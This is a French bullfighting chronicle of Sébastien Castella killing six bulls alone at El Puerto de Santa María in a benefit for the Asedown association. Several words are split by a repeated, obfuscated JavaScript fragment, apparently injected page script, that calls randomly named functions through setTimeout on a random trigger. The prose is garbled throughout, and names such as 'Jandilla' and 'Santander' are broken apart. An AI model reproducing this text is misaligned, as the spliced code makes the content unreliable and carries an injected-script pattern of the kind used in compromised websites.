CASTELLA AU PUERTO DE SANTA MARIA

C’est pour lui une saison extraordinaire, triomphant dans les ferias les plus importantes du calendrier taurin. À Valence il a reçu le prix pour la meilleure estocade, mais il en méritait davantage ; à la feria d’avril à Séville, il a versifié le temple avec un toro de Parladé comme on ne l’avait jamais vu auparavant à la Maestranza ; pendant la San Isidro, il a émerveillé Las Ventas avec une faena complète au toro « Jabatillo » de Alcurrucén, auquel il coupa les deux oreilles qui lui ouvrirent la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, recevant le prix à la meilleure faena et étant déclaré triomphateur de la feria, confirmant ainsi être au sommet de sa carrière.

Sa série triomphale se poursuivit à Pampelune, à Santandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander, à la feria de juillet de Valence et pratiquement dans toutes les arènes qu’il a foulées jusqu’à la veille de cette corrida au Puerto, avec une belle prestation à Illumbe devant un toro de Juan Pedro aussi bien à la cape qu’à la muleta, achevée d’une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande estocade, prestation complète qu’incompréhensiblement la présidence récompensa d’une seule et mesquine oreille.

Avec toutes ces sensations, il a changé son costume, prêt à traverser l’Espagne pour affronter six toros au Puerto de Santa María au profit de l’association Asedown, dont la mission est de promouvoir toutes sortes d’activités et d’actions pour l’insertion sociale des personnes ayant le syndrome de Down. C’était la première fois que le torero français affrontait seul six toros en Espagne.

Les toros choisis appartenaient aux fers de Fuente Ymbro, Nuñez del Cuvillo et Santiago Domecq ; mais dans les corrals on écarta ces deux derniers et ils furent remplacés par un Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla et un autre –du même propriétaire- sous le fer de Vegahermosa.

Heureusement que Sébastien Castella affrontait cette corrida pléthorique d’aficion, avec le courage et cette maturité que confère avoir du métier, car contrairement à ce qui était annoncé comme un geste cela aurait pu tourner au vinaigre, car ses adversaires lui posèrent énormément de problèmes. Deux d’entre, le second –de Fuente Ymbro- et le quatrième –de Vegahermosa- étaient des toros qui auraient pu l’envoyer à l’hôpital ; surtout ce dernier, qui « cherchait les mouches » de la corne gauche et changeait de direction sur le côté en cherchant le corps du torero. Castella a bien failli partir à l’infirmerie car en plus il les a attendus et a risqué au-delà du nécessaire en foulant des terrains où le coup de corne n’était pas loin pour extraire des séries aussi méritoires que brillantes. Celui qui sortit en premier fut un toro-mule de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla, qui le chercha à trois reprises de la droite et le troisième un cuvillo à qui rien n’échappait et qui finit apathique, auquel une certaine noblesse permit au torero de faire briller son temple et de s’arrimer pour couper la première oreille de la corrida.

Et sortit le cinquième, un jabonero de 480 kilos avec la devise de Fuente Ymbro, appelé « Laborioso », qui serait le toro clé de l’après-midi. Ce fut le seul que Castella put toréer réellement à la cape et auquel il fit l’unique quite de la corrida, après l’avoir amené au cheval avec un galleo par chicuelinas qui mit les arènes debout. Plus tard, avec la muleta, arborant sa fermeté habituelle –car le toro essayait de l’attraper de la droite et penchait de la gauche- il parvint à créer sous les acclamations du public, même s’il y eut comme un temps mort –la faute au directeur de la bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda qui en rajouta beaucoup trop- jusqu’au moment où le toro s’arrêta de charger et le matador paracheva sa prestation avec une estocade s’élançant sur le morillo qui lui permit de couper deux oreilles.

Pour conclure la course sortit un toro mal fait de Nuñez del Cuvillo, qui partit en courant en sentant le fer de la pique, comme il le fit également aux bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles et arriva à la muleta avec des changements de rythme mais avec brio. Avec lui, Castella réussit à imposer une faena qui fit taire cette fois la musique et aux séries à droite, la meilleure corne du toro- vinrent s’ajouter celles à gauche, très méritoires, où le toro ne voulait pas le suivre et où l’on put voir la meilleure naturelle de la corrida. Un autre grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and coup d’épée et deux nouvelles oreilles entre ses mains, avant que le toro ne s’affaisse d’une belle mort sous les palmas du public.

Sortie a hombros très méritoire et méritée du torero de Béziers, qui sut dépasser les difficultés d’une corrida peu collaboratrice, avec cette vérité que ne possèdent que ceux qui sont réellement figuras de la tauromachie. Et ainsi, de cette façon, s’achevait la temporada d’abonnement au Puerto.

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